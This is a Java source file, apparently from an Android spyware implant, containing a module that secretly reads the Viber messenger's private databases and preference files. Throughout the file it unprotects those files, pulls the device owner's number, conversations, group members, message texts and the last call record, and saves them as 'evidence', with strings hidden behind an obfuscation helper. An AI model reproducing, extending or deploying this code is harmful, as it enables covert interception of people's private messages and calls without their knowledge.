package com.android.dvci.module.chat;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.ArrayList;
import java.util.Date;
import java.util.Hashtable;
import java.util.List;
import java.util.concurrent.Semaphore;
import android.database.Cursor;
import com.android.dvci.auto.Cfg;
import com.android.dvci.db.GenericSqliteHelper;
import com.android.dvci.db.RecordVisitor;
import com.android.dvci.file.Path;
import com.android.dvci.module.ModuleAddressBook;
import com.android.dvci.module.call.CallInfo;
import com.android.dvci.util.Check;
import com.android.dvci.util.StringUtils;
import com.android.mm.M;
public class ChatViber extends SubModuleChat {
private static final String TAG = "ChatViber";
private static final int PROGRAM = 0x09;
String pObserving = M.e("com.viber.voip");
static String dbDir = M.e("/data/data/com.viber.voip/databases");
static String dbChatFile = M.e("viber_messages");
static String dbCallFile = M.e("viber_data");
private Long lastViberReadDate;
Semaphore readChatSemaphore = new Semaphore(1, true);
ChatGroups groups = new ChatViberGroups();
Hashtable<String, Integer> hastableConversationLastIndex = new Hashtable<String, Integer>();
private String account;
@Override
public int getProgramId() {
return PROGRAM;
}
@Override
public String getObservingProgram() {
return pObserving;
}
@Override
void notifyStopProgram(String processName) {
readViberMessageHistory();
}
@Override
protected void start() {
lastViberReadDate = markup.unserialize(new Long(0));
account = readAccount();
if (account != null) {
ModuleAddressBook.createEvidenceLocal(ModuleAddressBook.VIBER, account);
readViberMessageHistory();
}
if (Cfg.DEBUG) {
Check.log(TAG + " (start), read lastViber: " + lastViberReadDate);
}
}
public static String readAccount() {
String number = null;
String file = M.e("/data/data/com.viber.voip/files/preferences/reg_viber_phone_num");
if (Path.unprotect(file, 4, false)) {
FileInputStream fileInputStream;
try {
fileInputStream = new FileInputStream(file);
ObjectInputStream oInputStream = new ObjectInputStream(fileInputStream);
Object one = oInputStream.readObject();
number = (String) one;
} catch (Exception e) {
if (Cfg.DEBUG) {
e.printStackTrace();
Check.log(TAG + " (readMyPhoneNumber) Error: " + e);
}
}
}
if (Cfg.DEBUG) {
Check.log(TAG + " (readMyPhoneNumber): %s", number);
}
return number;
}
@Override
protected void stop() {
if (Cfg.DEBUG) {
Check.log(TAG + " (stop), ");
}
}
private void readViberMessageHistory() {
if (Cfg.DEBUG) {
Check.log(TAG + " (readViberMessageHistory)");
}
if (!readChatSemaphore.tryAcquire()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readViberMessageHistory), semaphore red");
}
return;
}
try {
boolean updateMarkup = false;
GenericSqliteHelper helper = openViberDBHelperChat();
if (helper == null) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatMessages) Error, file not readable: " + dbChatFile);
}
return;
}
try {
// SQLiteDatabase db = helper.getReadableDatabase();
groups = new ChatViberGroups();
long newViberReadDate = 0;
List<ViberConversation> conversations = getViberConversations(helper, account, lastViberReadDate);
for (ViberConversation sc : conversations) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readViberMessageHistory) conversation: " + sc.id + " date: " + sc.date);
}
// retrieves the lastConvId recorded as evidence for this
// conversation
String thread = Long.toString(sc.id);
if (sc.isGroup() && !groups.hasMemoizedGroup(thread)) {
fetchParticipants(helper, thread);
groups.addPeerToGroup(thread, account);
}
long lastReadId = fetchMessages(helper, sc, lastViberReadDate);
newViberReadDate = Math.max(newViberReadDate, lastReadId);
}
if (newViberReadDate > 0) {
lastViberReadDate = newViberReadDate;
updateMarkupViber(lastViberReadDate, true);
}
}finally {
helper.disposeDb();
}
} catch (Exception ex) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readViberMessageHistory) Error: ", ex);
}
} finally {
readChatSemaphore.release();
}
}
public static GenericSqliteHelper openViberDBHelperCall() {
return GenericSqliteHelper.openCopy(dbDir, dbCallFile);
}
public static GenericSqliteHelper openViberDBHelperChat() {
return GenericSqliteHelper.openCopy(dbDir, dbChatFile);
}
private List<ViberConversation> getViberConversations(GenericSqliteHelper helper, final String account,
Long lastViberReadDate) {
final List<ViberConversation> conversations = new ArrayList<ViberConversation>();
String[] projection = new String[] { M.e("_id"), M.e("date"), M.e("recipient_number"), M.e("conversation_type") };
String selection = "date > " + lastViberReadDate;
RecordVisitor visitor = new RecordVisitor(projection, selection) {
@Override
public long cursor(Cursor cursor) {
ViberConversation c = new ViberConversation();
c.account = account;
c.id = cursor.getLong(0);
c.date = cursor.getLong(1);
c.remote = cursor.getString(2);
c.group = cursor.getInt(3) == 1;
conversations.add(c);
return c.id;
}
};
helper.traverseRecords(M.e("conversations"), visitor);
return conversations;
}
// fetch participants.
private void fetchParticipants(GenericSqliteHelper helper, final String thread_id) {
if (Cfg.DEBUG) {
Check.log(TAG + " (fetchParticipants) : " + thread_id);
}
RecordVisitor visitor = new RecordVisitor() {
@Override
public long cursor(Cursor cursor) {
Long id = cursor.getLong(0);
String number = cursor.getString(1);
String name = cursor.getString(2);
String display_name = cursor.getString(3);
boolean itsme = cursor.getInt(4) == 0;
Contact contact;
if (itsme) {
contact = new Contact(Long.toString(id), account, "", "");
} else {
contact = new Contact(Long.toString(id), number, name, display_name);
}
if (Cfg.DEBUG) {
Check.log(TAG + " (fetchParticipants) %s", contact);
}
if (number != null) {
groups.addPeerToGroup(thread_id, contact);
}
return 0;
}
};
String sqlquery = M.e("SELECT P._id, I.number, I.display_name, I.contact_name, I.participant_type from participants as P join participants_info as I on P.participant_info_id = I._id where conversation_id = ?");
helper.traverseRawQuery(sqlquery, new String[] { thread_id }, visitor);
}
private long fetchMessages(GenericSqliteHelper helper, final ViberConversation conversation, long lastConvId) {
// select author, body_xml from Messages where convo_id == 118 and id >=
// 101 and body_xml != ''
try {
final ArrayList<MessageChat> messages = new ArrayList<MessageChat>();
String[] projection = new String[] { M.e("_id"), M.e("participant_id"), M.e("body"), M.e("date"),
M.e("address"), M.e("type") };
String selection = M.e("conversation_id = ") + conversation.id + M.e(" and date > ") + lastConvId;
String order = "date";
RecordVisitor visitor = new RecordVisitor(projection, selection, order) {
@Override
public long cursor(Cursor cursor) {
// I read a line in a conversation.
int id = cursor.getInt(0);
String peer = cursor.getString(1);
String body = cursor.getString(2);
long timestamp = cursor.getLong(3);
String address = cursor.getString(4);
boolean incoming = cursor.getInt(5) == 0;
// localtime or gmt? should be converted to gmt
Date date = new Date(timestamp);
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) peer: " + peer + " timestamp: " + timestamp + " incoming: "
+ incoming);
}
boolean isGroup = conversation.isGroup();
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) incoming: " + incoming + " group: " + isGroup);
}
String from, to = null;
String fromDisplay, toDisplay = null;
from = incoming ? address : conversation.account;
fromDisplay = incoming ? address : conversation.account;
Contact contact = groups.getContact(peer);
String thread = Long.toString(conversation.id);
if (isGroup) {
// if (peer.equals("0")) {
// peer = conversation.account;
// }
to = groups.getGroupToName(from, thread);
toDisplay = to;
} else {
to = incoming ? conversation.account : conversation.remote;
toDisplay = incoming ? conversation.account : conversation.remote;
}
if (!StringUtils.isEmpty(body)) {
MessageChat message = new MessageChat(getProgramId(), date, from, fromDisplay, to, toDisplay,
body, incoming);
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) message: " + message.from + " "
+ (message.incoming ? "<-" : "->") + " " + message.to + " : " + message.body);
}
messages.add(message);
}
return timestamp;
}
};
long newLastId = helper.traverseRecords(M.e("messages"), visitor);
if (messages != null && messages.size() > 0) {
saveEvidence(messages);
}
return newLastId;
} catch (Exception e) {
if (Cfg.DEBUG) {
e.printStackTrace();
Check.log(TAG + " (fetchMessages) Error: " + e);
}
return -1;
}
}
private void updateMarkupViber(long newLastId, boolean serialize) {
if (Cfg.DEBUG) {
Check.log(TAG + " (updateMarkupViber), +lastId: " + newLastId);
}
try {
markup.writeMarkupSerializable(newLastId);
Long verify = markup.unserialize(new Long(0));
if (!lastViberReadDate.equals(verify)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (updateMarkupViber) Error: failed");
}
}
} catch (IOException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (updateMarkupViber) Error: " + e);
}
}
}
public void saveEvidence(ArrayList<MessageChat> messages) {
getModule().saveEvidence(messages);
}
public static boolean getCurrentCall(GenericSqliteHelper helper, final CallInfo callInfo) {
String sqlQuery = M.e("select _id,number,date,type from calls order by _id desc limit 1");
RecordVisitor visitor = new RecordVisitor() {
@Override
public long cursor(Cursor cursor) {
callInfo.id = cursor.getInt(0);
callInfo.peer = cursor.getString(1);
// callInfo.displayName = String sqlQuery;
callInfo.timestamp = new Date(cursor.getLong(2));
int type = cursor.getInt(3);
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) call type: " + type);
}
callInfo.incoming = type == 1;
callInfo.valid = true;
return callInfo.id;
}
};
helper.traverseRawQuery(sqlQuery, new String[] {}, visitor);
return callInfo.valid;
}
public class ChatViberGroups extends ChatGroups {
}
}